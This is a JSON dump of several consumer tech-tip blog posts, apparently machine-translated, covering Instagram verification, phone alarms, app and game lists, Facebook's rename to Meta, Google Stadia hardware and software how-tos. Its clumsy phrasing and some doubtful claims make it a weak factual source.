Mobile skin"},{"body":"If you've ever seen the green tick icon next to the Instagram user name and jealous because you don't have it, feel secure, you're not the only one. The following article will show you how to be verified on Instagram.\nHow to get verification for Instagram account? First of all, it should be noted that this verification mark does not mean Instagram approves this account or advises people to follow the account holder. While not regularly managing verified accounts, Instagram says it will also revoke it if the account violates the regulations.\n  Celebrity accounts are verified\nTo request account verification, open the application and go to your personal page. On Android, the 3-stripe icon is the Menu key in the right corner that will bring you to the Settings screen below. On iOS, you select the Gear icon next to Edit Profile.\nThen scroll down to find Request Verification.\n    Requires authentication of Instagram account\nHere, fill in some basic information such as name, photo by ID card and click Send and wait for Instagram to process and decide whether to approve it or not. If rejected, you can return it after 30 days.\nWhich Instagram accounts are verified? Here are some criteria for authenticated accounts that Instagram provides. Your account must:\nAuthentic: accounts must be real individuals / businesses. Unique: the account does not copy another page. Full: the account must be public, full of avatars, summary information and posted at least one photo. There is a sound: the account must represent 'celebrity, much sought or brand'. Therefore, ordinary individual users will not be able to authenticate the account unless they build a certain reputation on this social network. Even people with millions of followers are not authenticated if they are not famous, but have less than 200 followers.\nTo increase your chances of verifying your account, increase your personal / business brand identity. You can create and link to other social networking sites to attract more. One thing to keep in mind is to build a reputation on non-Instagram pages. Also, inactive accounts will not be verified, illegal acts (such as follow-up but not interacting .) should also be avoided and this verification cannot be paid for.\nSee more:\nOnline accounts on Instagram will have a green dot next to the avatar Instagram allows you to remove your followers if you find them annoying Being able to insert music into Instagram Stories ncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZq6Vp7anxYyipayskZy%2FormMmpqcp6WjwW6tw51kmmWXp7KmuoytoJyjXaOyucCMraZmrJiaeq%2BtzJ4%3D\n","link":"/post/how-to-verify-instagram-account-add-a-green-tick-next-to-the-name/","section":"post","tags":null,"title":"How to verify Instagram account (add a green tick next to the name)"},{"body":"In addition to the familiar functions on the phone such as listening to calls, texting, the alarm feature or timer must have been no stranger to phone users ever. However, there will still be users who rarely pay attention to this feature and do not know how to set the alarm, so please refer to the following article.\n1. Alarm setting feature on the phone (iPhone / Android) In fact, the alarm feature is available on all phones from basic, cheap to high-end phones, so you will not need to install any more.\nAlthough the alarm features of each phone company will have a slightly different interface and setup, but basically, the use and manipulation of alarm settings will remain the same. So, whatever phone you're using, you can follow these steps:\nStep 1: On the phone application menu, click the application named Clock . This is a Google application that comes pre-installed on Android phones, so there's no need to install anything else.\n  Step 2: When you open the application, click on the Alarm tab and on the blue plus sign below the screen to create a new alarm.\n  Step 3: Now a clock appears for you to adjust the time you want to schedule. Click OK to continue.\n  Step 4: Then the alarm created by violent will appear in the alarm list. Here, you click on your alarm to set settings like snooze alarms, schedule, change ringtones or insert note labels into your alarms.\n  If you want to delete the alarm you just created, click the Delete button below is okay.\nStep 5: When it's time for the scheduled alarm time, the phone will display the alarm as shown below, accompanied by a ringtone and vibration for users to recognize.\n  In addition, this clock application has been equipped with additional features such as Countdown timer in the Timer section .\n  \nAnd features Click now for users to measure the time, this feature is suitable for use in contests need timer or use in the fitness exercise.\n  2. Set the alarm on your phone with the Alarmy application In case your phone has not installed the alarm application, in this section I will introduce and guide you to install and use the famous alarm application called [ Alarmy ].\nThis is a popular alarm application, completely free and equipped with many useful and unique features as follows:\nAlarmy application will force users to move and move to turn off the alarm.\nSupport \"Take a picture\" to turn off the alarm, that is, you need to get out of bed and take pictures as required for the software to recognize and turn off the alarm Support for \"Shake your phone\" feature, that is, to turn off the alarm, you need to shake your phone, or you will need to solve a problem to turn off the alarm. The steps to install and use this application are as follows:\nStep 1: You access Google Play on your Android phone or App Store on iOS, search for the keyword ' Alarmy ', click on the Settings button next to the application with the pink gold clock icon as shown below.\n  Step 2: You wait for the download and installation to complete.\n  After installing the application, you click the Open button to access the application.\n  Step 3: The main interface of Alarmy opens, click on the green plus sign on the right corner of the screen.\n  Now there will be two options appear: one is quick alarm and the other is Normal alarm .\n  If you select Quick Alarm, you will be creating an alarm quickly by adjusting the alarm time and click OK to save is done.\n  If you choose Normal alarm, you will have more unique options by clicking on the words How to turn off the alarm .\n  Here, users will be given a choice of unique ways to turn off the alarm such as Take a picture, shake the phone or solve math problems and then press the Done button to save.\n  Besides, there are other options that will appear including alarm time, snooze, ringtones and note stickers. Then click OK to save the newly created alarm.\nStep 4: Now the alarm you just created will appear in the list in the main interface. If you want to delete this alarm, you just need to click on the vertical 3 dots and select Delete line is finished.\n  So I showed you how to set the alarm on your phone, depending on the model that has a different interface. Hopefully the above article will be useful to you. I wish you successful implementation!\nncG1vNJzZmismaXArq3KnmWcp51ktq%2B%2F06usnKyZpLu0ecWoqWarlanBqrrGZpinZZGhrrO5jKilZrGfqr9uvMeopZ5lmaW1sLrEZpinnKKktqU%3D\n","link":"/post/instructions-for-setting-an-alarm-on-your-phone-iphone-android/","section":"post","tags":null,"title":"Instructions for setting an alarm on your phone (iPhone, Android)"},{"body":"The Walking Dead: Our World is the \"follow-up\" game of the popular TV series Next Games Oy. The game is equipped with AR technology to give players real experience when \"hunting\" \"Pokemon Go\" style zombies. Players can interact with the real world based on their own location and whereabouts.\nThe game has a method of operation and the idea is designed quite similar to Pokémon Go, so the more the player moves in real life, the higher the chance of encountering zombies.\n  The player's mission is to destroy as many zombies as possible while collecting materials and items to upgrade their weapons. The stronger the weapon, the easier it is to kill zombies.\n   The \"real-world\" zombie hunting version is designed with a graphic background with the familiar nuances of The Walking Dead series along with familiar characters that promise to bring players new experiences.\nCurrently The Walking Dead: Our World has been officially released worldwide for free on both iOS and Android.\nTo download and experience the game, you can access the address below:\nThe Walking Dead: Our World on the App Store The Walking Dead: Our World - Apps on Google Play See more:\nDefiance 2050 has been released globally for free, invited to download and experience Neymar's eating habits have been put into entertainment games on Android, completely free to download and experience Invite Hacknet, a very interesting 'practice hacker' game that is free for a short time ncG1vNJzZmismaXArq3KnmWcp51kvKeyxKuqZqyYmnq4rcukoKefXZmyorCMqKyrZaekv62wjJpkn6qVmnqxu8qepKimXZy8bsbOppminV2dwq%2FAyKeeZp%2BRorJuu81moKirXZa7pXnAp5urp5mZ\n","link":"/post/our-world-a-free-pok%C3%A9mon-go-zombie-hunting-game-on-ios-and-android/","section":"post","tags":null,"title":"Our World, a free 'Pokémon Go' zombie hunting game on iOS and Android"},{"body":"With the development of today's technology, everything we do can help with the technology's help to make it easier. For example, counting daily steps can also use technology, and applications on smartphones will help you do that. It's great that they can count the number of steps you take, the number of steps you climb, the amount of calories you consume, and so on. Here is a list of step counter applications on iOS and Android that you should consult. .\n7 Android and iOS apps help you prank people The best health apps on Android and iOS that everyone should install Top 15 leading English learning apps on Android and iOS Footstep counting app on Android 1. StepsApp\nThe application called StepsApp is a special application that helps you turn your smart phone into a simple and beautiful pedometer. StepsApp is compatible with most smart devices, this application offers many beautiful interfaces for users to freely choose according to their preferences. With StepsApp, you will feel that practicing walking, jogging or exercising every day becomes more interesting and meaningful.\nDownload the StepsApp app for Android. 2. Pedometer, Step Counter \u0026amp; Weight Loss Tracker\n  \nIf you are looking for an application to help you lose weight by practicing new and free sports, then Pedometer, Step Counter \u0026amp; Weight Loss Tracker will be a perfect choice. Not only do you monitor your steps and calorie consumption, this app also reminds you to practice and complete your goals, as well as to monitor your weight.\nDownload the Pedometer app, Step Counter \u0026amp; Weight Loss Tracker for Android. 3. Accupedo\n  \nAccupedo provides close tracking charts and smart design based on your footsteps. In addition to features similar to many other step counter applications, Accupedo also offers a battery saving mode that does not require you to spend too much power on it. Especially, with the achievements, you can share on Facebook personal page to show off your achievements and ask your friends to contribute useful advice for you.\nDownload the Accupedo app for Android. Footstep counting app on iOS 1. StepsApp   \nAs mentioned above, StepsApp is suitable for most smart devices including devices running Android or iOS operating systems. This is really a very good step counter application, you can download and experience to see this clearly.\nDownload the StepsApp app for iOS. 2. Stepz\n  \nThis is a free step counter application that helps you keep track of basic data such as the number of steps taken, distance, calories consumed, exercise time, etc. Like some other applications, Stepz also sets target 10,000 steps a day, however you can customize that number according to your ability or let the application create an \"auto\" goal based on your walking history. The most convenient feature of Stepz is the number of steps you can walk displayed at the main screen without access to the application.\nDownload the Stepz app for iOS. 3. Walker\nWith the exception of the step count, the Walker application has the same features with the Stepz application above. The advantage of this application is the beautiful interface and it displays information in different interesting ways. For example, you can view each date range (instead of only being viewed by day, week, month, year as other applications). Walker also has a GPS component that allows users to map the route to run, but developers recommend this feature may cause battery drain.\nDownload the Walker app for iOS. Instead of buying specialized health monitoring devices like smart watches or expensive health meters, you can take advantage of your smart phone through step-counting apps on Android and iOS. We have just introduced to follow daily walking habits.\nSee more:\nHow to effectively use Everfilter application on Android, iOS Instructions for running iOS apps on Android devices The best video calling applications on Windows, Mac, iPhone, Android ncG1vNJzZmismaXArq3KnmWcp51kwamxjJucrKxdqMGmvIycpq6mpJq%2Fbq3PqWSfp6Jirq%2Bw0aignWWRo7Futc6s\n","link":"/post/the-best-step-counter-app-for-android-and-ios/","section":"post","tags":null,"title":"The best step counter app for Android and iOS"},{"body":"Shooting games are one of the most popular Offline game genres today, if you are passionate about the shooter genre but your computer configuration is weak, then please refer to the good but light shooting games, specialized for computers. Low profile is shown below.\n  10. IHOLD   Shooting game 'IGI' has an extremely attractive gameplay when the game pacing is not too fast nor too slow. The entire gameplay of IGI you will be playing the role of spies and your task is to complete the goals that the game sets out. In terms of weapons, the IGI game has an extremely diverse arsenal of weapons when they have both aiming / pistol / submachine / machine gun / machine guns, etc. However, the number of levels of the IGI game is relatively little, so this game will not be suitable for long-term play.\n9. Fallout   The ultra-lightweight shooter 'Fallout' has an extremely attractive gameplay when the plot and gameplay of the game is fully developed. Besides, Fallout's graphics are also highly appreciated when they are not too heavy but still beautiful enough for players to get the best experience. With the Fallout shooting game, you will be transformed into a Robot to protect the city and the earth with a series of professional weapons such as machine guns, sniper rifles, daggers, pistols, .\n8. Counter Strike Condition Zero   When it comes to ultralight shooters, the name 'Counter Strike Condition Zero' will be indispensable in the list. The Counter Strike series is arguably the forerunner of most of today's online shooters, and many of the games are based on their source code. Although there is no plot, Counter Strike Condition Zero is still very attractive to players thanks to the well-balanced matches between players or bots.\n7. Chrome Games   Shooting game 'Chrome - 2003' has an extremely simple gameplay but is equally attractive when the mission system is dense. The entire content of the game will revolve around going to do the mission systems and weapons will be available to the player. Although it was released in 2003, the graphics quality of Game Chrome is highly appreciated and they are not too outdated.\n6. Half Life   Shooting game 'Half Life' is not too strange in Vietnam, especially in internet shops in 2015-16, the time when shooters flourished in Vietnam. The Half Life game follows the team shooting style and this means that they have no storyline. The entire content of the war revolves around between the two factions to see which side is stronger and more skillful in controlling guns, moving, reading the way, .\n5. 7554   If you are a fan of shooting games, the legendary game '7554' will not be missed because this is one of the rare products of Vietnamese people. Set in the Vietnam War, you will be playing the role of soldiers on the front in famous battles such as Dien Bien Phu, Hue Ancient Capital,. The battles in the game are made very realistic and the content closely follows the history of Vietnam. This is not only a game but they are also a mark of Vietnamese history during the arduous years of resistance.\n4. Alien Shooter   The legendary 'Alien Shooter' game is no longer strange to many people when they have been continuously downloaded over the years. Set in the world when the dinosaurs invaded, brave warriors must go into each area to destroy the dinosaurs. During the game, players will see a lot of secrets around and the arsenal is increasingly expanding to meet the fast monster destruction.\n3. Left 4 Dead 2   Continuing to be a shooting game to destroy monsters, the context of Left 4 Dead 2 is deployed in many different places, so they are completely new to players. Shooting game Zombie Left 4 Dead 2 can be played Offline or played with friends via the LAN system, even playing Online through the Steam platform. Currently, Left 4 Dead 2 has a 'light' updated version and they are like a breath of fresh air blowing into players after years of waiting.\n2. Dead Island   The game 'Dead Island' will let you dress up as the last survivors on earth and the task is to run away from the bloodthirsty Zombies. Set in an island that has been tested with chemical weapons and humans turned into Zombies, everything is turned upside down. Along with killing Zombies, you also have to perform tasks to try to find the final exit point.\n1. Doom   The blockbuster game 'Doom' does not have to argue too much about the gameplay as well as the way the game's plot is built. To add more appeal, please experience the game Doom yourself instead of reading the introduction here!\nIn this article, Software Tips have shared with you the Top 10 best Offline shooting games for low-powered computers. Have a nice day!\nncG1vNJzZmismaXArq3KnmWcp51kwbC8jGpnZqeWm7mqusRmqqGnn6m2r7OMoJimnaNivLN5y6KeoaxdmK6xrcKiq7I%3D\n","link":"/post/top-10-offline-shooting-games-or-light-capacity/","section":"post","tags":null,"title":"Top 10 Offline shooting games or light capacity"},{"body":"As you all know, recently, Facebook decided to change its name to Meta, which has made people interested in technology, or even ordinary users, very concerned, because the Facebook's name is so familiar to everyone, even the elderly can read its name correctly.\nSo what exactly is this? And why did Facebook decide to rename its platform? If you are also asking the same question, let's analyze it a bit through this article.\n#first. This is actually renaming the parent company   You need to understand that, this is actually the name change of the parent company of Facebook, not that this social network has changed its name. OK !\nBehind Facebook will now be a parent company called Meta instead of Facebook before, which also means that Facebook's social networks like Instagram and WhatsApp are all under this parent company.\nAccording to Facebook boss Mark Zuckerberg, the name Meta in Greek means UP.\nThis is not unusual for technology companies that own many applications. Like Google, Google is actually just a subsidiary of a larger parent company, Alphabet. Of course, this company is also the mother of very famous products like Android, Google Pixel … or any Google product in general.\n#2. What is the purpose of this renaming?   It's not a coincidence that the parent company Facebook changed its name to Meta, which contains a lot of calculations for future moderators:\nFacebook moderators want to separate (nominal) the development of Facebook into a separate department to create a premise for future projects, to avoid confusion or possible difficulties in future work. Meta will pursue new generation virtual reality technology, this is a long cherished by Meta (Facebook). It is expected that this technology will bring up many applications, from chatting, making friends, to entertainment . all by virtual reality technology. Reducing the power and influence of Mark Zuckerberg (Facebook boss), because in questioning sessions with the US government, they said that Zuckerberg is abusing influence and endangering the so-called social safety. . Not only that, Zuckerberg wants to build a Metaverse (virtual universe - digital universe) to blur the boundaries of the real world. Metaverse is the convergence of the physical world, virtual reality (VR), augmented reality (AR). Thereby, people can hang out with friends, visit, travel, buy goods. , participate in events… with 3D space, no different from a fiction movie.\nThis is Facebook's ambition, an ambition to help connect people in a whole new way, the way only in fiction movies. #3. This name change affects the Facebook app In my opinion, this change will have a significant impact on Facebook (from the time this change takes effect), meaning that Facebook is no longer run by Mark Zuckerberg. It is likely that they will soon appoint another person with more ability and responsibility to take over this position.\nThis means the growth of facebook in the near future - 90% of it is from this person. All reform of human resources, communication, research. must go through this new director. So if there is a mistake, or simply any other innovation in the system that this new director introduces, it will affect Facebook and our users.\nEven so, if there is a big change, I think it will be in a more positive direction. Because anyone who has been appointed to this position is not an ordinary person, moreover, behind the director there is a team of advisors, a team of shareholders . more or less influential, so the The changes made I think will not make Facebook difficult.\n#4. Will Meta be a second Google?   With a long-term vision, Meta is aiming to dominate the connection between people on the Internet with the platform being social networks. When Facebook separates, it will form new, more specialized and more capable teams. From there, Meta will combine what has been (as a social network) and things in the future such as virtual reality, 5G or 6G network technology.\nThe day when you use social networks, make friends, entertain billions of other people around the world in a so-called surreal way, as if you are interacting directly with them, will not be fiction. again. Then it will be the dominance of Meta in general and Facebook in particular.\n  It will be too early to say whether Meta will succeed with its ambitions, because at present, virtual reality technology is still quite inadequate. But like so many other giant technology companies, the beginning is always difficult, but it only takes one step to reach users and it will soon become a giant.\nNo one thought that Google would be as strong as it is today, when it had to compete with Yahoo in the early days, even nearly being bought by Yahoo. Or was it the same with facebook before, only a dream would dare to think that a technology developed in a dormitory would be the world's largest social network. So let time tell everything.\nMETA Facebook ncG1vNJzZmismaXArq3KnmWcp51kxKnFjJ2gnWWWlrCmrs6oomabmJa7qLGMoqusZZ6WuqZ506hkpp2klg%3D%3D\n","link":"/post/why-did-facebook-change-its-name-to-meta/","section":"post","tags":null,"title":"Why did Facebook change its name to META?"},{"body":"Why should you turn your phone into a laptop? The most obvious reason is to have a compact computer in the pocket at any time. You may not always be able to carry a laptop, including the most compact device like the ultrabook series.\nThis means the smartphone can be used as an alternative PC in an emergency. Limiting screen size is no longer a big deal, thanks to the wireless HDMI port.\nThe real magic lies in the desktop user interface. When connected to a compatible TV, the current phone interface is no longer available. Instead, the traditional desktop interface is displayed.\nHow to turn your phone into a computer We are only talking about solutions that require desktop user interfaces (Android is acceptable). Unfortunately, iOS devices will not be present at this fun.\nTo turn your phone into a PC, you need:\nThe keyboard and mouse have a bluetooth connection (or connect via USB and a USB-OTG cable also). The display screen supports HDMI wireless. Or you don't have an outlet that supports HDMI, USB, and Ethernet.\n1. Samsung devices have DeX mode Perhaps Samsung users are the most beneficial when turning a phone into a computer. With Galaxy S8 / S8 +, Note 8 or later, the device has a DeX mode option. This mode can be activated from the notification bar, especially there is a desktop environment for Android.\nDeX mode on Samsung Just connect your phone to a monitor with wireless HDMI nearby and it should work. DeX allows you to access all the applications about working on Android in window mode.\n2. Using Ubuntu Touch turns your phone into a Linux computer Ubuntu Touch is a Linux operating system built for smartphones. The core feature of Ubuntu Touch is the Convergence system. Like Samsung DeX, this is a desktop environment that activates when the phone is connected to an external display.\nUbuntu Touch When the phone connects to a TV with wireless HDMI, the entire user interface will be the Ubuntu computer. The operating system comes with many tools installed, including LibreOffice. Having a smartphone that is always ready to be used as a computer is extremely suitable for anyone who has to work a lot.\n3. Turn any Android phone into a computer with Maru OS In 2016, Android surpassed Windows to become the most used operating system in the world. Understandably, because it also has the potential to become an operating system for computers.\nMaru OS is an Android product, currently only runs on a few products. You can check out Nexus 5 (2013) or Nexus 5X (2015) to learn more about Maru. Beta version is available on Nexus 6P and Google Pixel products. This is a full operating system that can be installed in parallel with Android.\n4. Working with Android computers via Sentio Sentio was previously known as Andromium OS, an efficient solution to create an Android desktop environment.\nWhen connected to a display, Sentio takes advantage of Superbook's additional hardware. This is like a combination of laptop with dock and using smartphone as the central manager.\n5. Try using the Leena Desktop user interface Leena Desktop UI is a popular desktop launcher for Android. Like the dock on macOS, Leena has a file manager, web browser, video player, PDF and many other features.\nIt also supports connecting via dock, screen and allowing the use of Android applications through computer windows.\n6. The most basic way to get an Android computer: Add a Chromecast If all of the above methods are inconvenient or expensive, or both, consider the easier option. Do you need your Android phone to function as an emergency computer? First, fully prepare these things:\nBluetooth mouse and keyboard or USB-C port. A Chromecast or other display option connects to the TV. Then simply prepare documents, connect the keyboard and share via Chromecast.\n7. Turn your old Windows phone into a cheap computer If you hear about phones running Windows 10 or Windows Phone, you probably know that they have been killed. These old phones can be purchased at old phone sales or e-commerce markets. Although the applications can no longer be used, some devices still have excellent camera output.\nOld Windows Phone phone Hidden inside these old phones is a secret mode that is the Windows desktop. Thanks to the old version of Continuum technology (it now manages the switching between desktop and tablet modes in Windows computers), you can connect your phone to a monitor and work in the environment. Windows desktop as usual.\nYou have access to applications to install like Microsoft Office and to use your phone when an incoming call comes in. Keyboard and mouse can be connected via Bluetooth. The keyboard on the phone can also be used even as a touchpad.\nncG1vNJzZmismaXArq3KnmWcp51khG7DwLKqZqyfYsG2vs1mmGarnZa%2FtbzHqKWeZZmjwbB5wGannA%3D%3D\n","link":"/post/7-ways-to-turn-a-smartphone-into-a-pc/","section":"post","tags":null,"title":"7 ways to turn a smartphone into a PC"},{"body":"It can be said that the greatness of the cloud-based gaming service is reflected in two factors:\nFirst, theoretically you can play any game, anywhere and anytime, as long as you have an internet connection good enough to meet the online streaming needs. . Second, even while playing games on smartphones, you can still exploit and leverage the power of a powerful server system in a data center. However, the problem lies in how the service provider has to build a server system to both ensure honesty in graphics processing, but also to keep the service at a reasonable price. Most, especially when the number of players using that server at a given time can be huge. And the Stadia cloud gaming service recently announced by Google this morning is said to be able to balance extremely well between processing power and service prices through cooperation with new one of the chip manufacturers. World's largest processor AMD to develop and integrate new generation silicon GPU chip with many great advantages to this server system.\n  Google Inbox by Gmail application officially stopped working on April 2, 2019 According to a report from Google, every Stadia server will be integrated with a custom x86 processor running at 2.7GHz, 16GB of RAM, and especially not to mention the custom AMD GPU with processing power up to 10.7 teraflops (10.7 trillion calculations per second). Besides, Stadia server will run on Linux platform instead of Windows, this decision of Google is believed to help Google attract more game developers to their platform.\n  With the move to equip such a huge graphics processor chip, it can be seen that Google has decided to launch a strategic \"preemptive strike\" against other stunned opponents like Xbox and PlayStation in the battle of power. handling, when the Xbox One X reaches about 6.0 teraflop and the PS4 Pro is about 4.2 teraflop.  Leaking images of new patents by Google: Challenges of the folding screen market in the future? Of course, this comparison is only a reference because in fact, many of the top PC gaming graphics cards can easily surpass 10.7 teraflops, here we are talking about PC systems. play a 'high-end' game, not a regular game machine. In fact, AMD owns a GPU model with about 10.5 teraflop, which is the RX Vega 56, which was released as a gaming graphics card for $ 400 in 2017.\nSince Google Stadia is a new product, it is not surprising that it is equipped with superior hardware power over competitors that are several years old. It will certainly be even more interesting when the next generation PS5 and Xbox will be released next year with chips that will certainly be significantly faster.\nSo what does the 10.7 teraflop system have in practical use? Google said that in the opening ceremony of Stadia, you will be able to play games in 4K resolution, 60 frames per second (fps) with both HDR mode and surround sound, and can also share live Streamed 4K, 60fps of the game on other online platforms like youtube. Besides, Google did not forget to promise that they will upgrade gameplay to 8K and 120fps in the future, though, the manufacturer did not say clearly about the route or the timing of the upgrade.\n  Razer launches a new, cool 'new' collection of gaming accessories but traditionally cheaper Please note that current top PC gaming cards are still struggling to handle some of the latest games in 4K resolution with maximum graphics settings, but Google also said they are holding. In the hands of a solution to this problem: If you only harness the power of a server, you may not see the most beautiful, honest effects in your games. But if you build the power of both GPUs, everything looks much better, you can refer to the illustration below:\n  Theoretically, game developers can design their titles towards using multiple distributed GPUs to have impressive graphics quality than any single gaming PC can own. Single treatment, but economic problems are also a barrier to consider.\nOne of the big problems with the original cloud-based gaming services like OnLive and PlayStation Now lies primarily in the economy. If each player needs access to a dedicated computer (or more!), And 'stay still' in that server, calculating the cost that the person has to pay is reasonable for the provider. service still profitable is not a simple task.\nHowever, Google has been talking a little bit about the issue regarding the economy during the product launch today, they did not even suggest the price for this service. Hopefully, the AMD deal is a step in the right direction of this manufacturer.\n  Google is preparing to launch a game console, ready to \"battle\" the game hardware market All we know at the moment is that Google will own server systems set up at 7,500 different locations around the world. This can help ensure acceptable latency because traditionally, cloud-based gaming services often encounter a lot of latency issues with systems where servers are too sparse. .\nncG1vNJzZmismaXArq3KnmWcp51ktLC7xqWcZquklrGqrYyuqp6rXZjCtMDOpmSapZRisKm1z6xkqaenmr%2BqusZmrKllpKR6cnyWZqueqpGbubC80g%3D%3D\n","link":"/post/google-stadia-uses-custom-amd-chips-powering-up-to-10-7-teraflops/","section":"post","tags":null,"title":"Google Stadia uses custom AMD chips, powering up to 10.7 teraflops"},{"body":"To create a Facebook account, users can use the phone number or via email address. With the phone number on Facebook, we can enhance the security of the account, easily find the Facebook password through the message sent, . In case you replace the new phone number, the old phone number If you still use, you can change your Facebook registration number.\nOr if you lose your phone number, you need to change your phone number on Facebook right away, to avoid having bad guys log into your Facebook account. In this case, the best user should delete and change the phone number used to register Facebook. So how to change phone numbers on Facebook?\nHow to block a Facebook account via phone number How to retrieve a hacked Facebook account How to secure your Facebook account so it won't be hacked? Instructions for changing Facebook phone numbers Step 1:\nIn your personal Facebook account click on the triangle icon and select Settings .\n  Step 2:\nIn the options list on the left of the interface, select Mobile to change the phone number on Facebook.\n  Step 3:\nLooking at the interface on the right, we will see the phone number we added earlier. Click on Add another mobile phone number .\n  Step 4:\nA phone box appears so we can enter a new phone number for Facebook. Click Continue to perform phone number verification.\n  Then wait for the confirmation code message sent to the registered phone number, then enter that verification code into the Facebook interface as shown below and click Accept .\n  Step 5:\nWhen Facebook announced as shown below, you have successfully added a new phone number to Facebook.\n  Go back to Mobile on Facebook, click on the old phone number and select Delete from your account . Click Next Delete phone to agree to delete the old phone number on Facebook.\n  Thus, the user has changed the phone number to register Facebook, from the old phone number to the new phone number for the personal Facebook account. Adding a phone number to Facebook will help us secure our account, when you enable 2-layer Facebook security mode.\nSee more:\nInstructions for setting up Live Stream Video feature on Facebook How to permanently delete Facebook account 2 ways to rename Facebook when less than 60 days or more than 5 times I wish you all success!\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZpuYlruosYypn6imlWK7trnBnqmsZZ%2Bjeqetwp6ZqKeb\n","link":"/post/how-to-change-phone-numbers-on-facebook/","section":"post","tags":null,"title":"How to change phone numbers on Facebook"},{"body":"To test a computer system, we will have 3 methods: Remove the device, check immediately on Windows and install the software. With the removal of the machine, it will be difficult for those who are not familiar with computer hardware, checking right on the windows is quite simple but the information is often incomplete. So checking with 3rd party software will be the optimal choice and the software we choose to test computer hardware is called Speccy. Speccy at first glance doesn't look like any other system management software. However, it is easy to use. You do not need to be a computer expert to use Speccy. If you do not know how to use Speccy to check computer hardware, please follow the following article of TipsMake.com.\nFirst of all, to download the software, please visit the following link: https://www.ccleaner.com/speccy/download/standard\nAfter downloading you double click on the file to install, note in the installation window you tick No thanks, I don't need Ccleaner so that the software does not automatically install Ccleaner on the computer. Then you click Install to install Speccy.\n  After installation is complete, launch the program and at the main interface of the software we will see some information of computer hardware:\n  From the top, there is information about: Windows version, CPU, RAM, Motherboard, Monitor and Display Card, Hard Drive, Optical port and finally Sound Card.\nBut this is just an overview, if you want to see details about a piece of hardware, you can click on the item you want to see in the left column.\nFor example, if you want to see detailed information about the CPU, you select the CPU section, the right window will display full information about the CPU and operating temperature:\n  The Graphics section will be display and graphics card information:\n  And there are many other important information please find out for yourself. Above is a tutorial on how to use Speccy software to check computer hardware, hope you will find the article useful. Good luck!\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZpuYmrCsecKopKmtpJq%2FbrTAq5uwmaKaeqq6xaipppmknryvedSsoKefXai9pq%2FCsg%3D%3D\n","link":"/post/how-to-check-computer-hardware-information-using-speccy/","section":"post","tags":null,"title":"How to check computer hardware information using Speccy"},{"body":"The need to convert images to other document formats such as PDF, Word, Excel is quite common now. Therefore, there are many online software and services that help you handle image files, transfer images to many types of documents. If you have a need to regularly extract the content in the image into a document, you can immediately use the Google Drive or OneNote tool.\nThese two tools are available to transfer content in images, to text. From there you can save, edit, or share this content as you like.\n1. Extract text on photos using Google Drive: Google Drive is a popular cloud storage service today. And in addition to the basic storage feature, the service can also extract text on images very quickly, support many languages ​​including Vietnamese.\nStep 1: First of all, users log into their personal Google Drive account. At this interface, click to select My Drive ( My Drive ) and then select Upload files (Upload file).\n  Step 2: Then proceed to download the image you want to extract data to Google Drive. At images uploaded on Google Drive, right-click and select Open with then select Google Docs (Google Docs).\n  Step 3: Immediately after that the image will be opened in Google Docs, with the above is the original image containing the text content and below is the content that was extracted from the image.\n  Here users can proceed to edit the content at will according to the needs of the job.\n  2. OneNote extracts content in images: OneNote is a familiar note-taking tool in Microsoft's Office suite. Besides using content notes, we can use OneNote to export text on images.\nStep 1: At the interface on OneNote, click on the Insert item, select the Picture item (Picture), then select to download the image available on the Pictures computer, or use the Online Picture.\n  Step 2: At the image interface containing the content you want to extract into text, right-click the image and select Copy text from the image (Copy Text from Picture).\n  Step 3: Soon the extraction will proceed quickly. We will press Ctrl + V to paste the content to be extracted, or saved. However, OneNote can only extract unsigned text.\n  Above is how to extract content in images into text, with 2 tools, Google Drive online storage service and OneNote note-taking tool. Google Drive's ability to extract and process content looks better than OneNote when supporting Vietnamese. With the English text case, you can use OneNote to turn the content in the image into a document.\nI wish you all success!\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZpufo8OmvtNmoKaZl5rAbrXNraZmrJWtwW7B0qKloGWXpLyouMRmm6uhppp6sLrEp6atnQ%3D%3D\n","link":"/post/how-to-convert-images-into-text-using-google-drive-onenote/","section":"post","tags":null,"title":"How to convert images into text using Google Drive, OneNote"},{"body":" This wikiHow teaches you how to split a video clip at a selected moment, and make a cut in iMovie, using a Mac, iPhone or iPad. iMovie is Apple's official video editing suite for all desktop and mobile MacOS and iOS platforms. You can use...\nMethod 1of 2:\nUsing a Mac  Open the iMovie app on your computer. The iMovie icon looks like a purple  video camera icon in a white star on a purple background. You can find it on the Dock or in your Applications folder.   Select the video project you want to edit. Double-click a movie or video project on your \"Projects\" page to open the editing suite. The video editor will be in the bottom half of the app window.   Find the exact moment you want to cut your video. Play the video clip in the editor in the bottom half of your screen, and pause it at the exact moment you want to cut. You will find an editing roll of the entire video in the bottom half of the screen. You can left-click any moment on the video roll to jump here. The white, vertical playhead bar should be located at the exact moment where you want to cut. You can press the space bar on your keyboard to play and pause the video. Use the right and left arrow keys to move the playhead one frame forward or backward. You can find a full list of all the iMovie keyboard shortcuts on Apple's official help page here: https://support.apple.com/kb/PH22830?locale=en_US.   Press ⌘ Command+B on your keyboard. This keyboard combination will automatically split the clip into two parts at the exact moment where the white, vertical video line is located. After splitting, you can select one of the two parts, and delete it by pressing Delete on your keyboard.   Right-click on the moment you want to cut in the video (optional). As an alternative to the keyboard shortcut, you can just hover over the video clip in the editor at the bottom, and right-click on the exact moment you want to cut.\n  Select Split Clip on the right-click menu. Just like the keyboard combination, this will cut your video at the exact moment you select.\n  Left-click on the moment you want to cut in the video (optional). As a final solution, you can skim through the video, and select the moment you want to cut with a simple left-click. This will automatically place the white, vertical line on this exact moment in the video clip.   Click the Modify menu on the menu bar. This button is on your Mac's menu bar at the top of your screen. It will open a drop-down menu.\n  Click Split Clip on the Modify menu. This will cut the video at the exact moment you selected with your left-click.\n Method 2of 2:\nUsing an iPhone or iPad Open the iMovie app on your iPhone or iPad. The iMovie icon looks like a purple  video camera icon in a white star on a purple background. You can find it on your home screen or in an app folder.  Tap the project you want to edit. Select the video or movie project you want to edit on the \"Projects\" page to open its details.\n Tap the Edit button. You can find this button below the video thumbnail and title. It will open the selected video in the editor.\n Hold down and drag the video roll at the bottom. You can hold down the video roll at the bottom of your screen, and drag it to the exact moment you want to split the video. You will see an editing roll of the whole video in the bottom half of the screen. Make sure to place the white, vertical playhead on the exact instant you want to split the clip.  Tap the video roll in the editor at the bottom. This will show a yellow highlight around the video roll in the editor, and display your editing tools at the bottom of your screen.\n Select Actions on the bottom toolbar. This button looks like 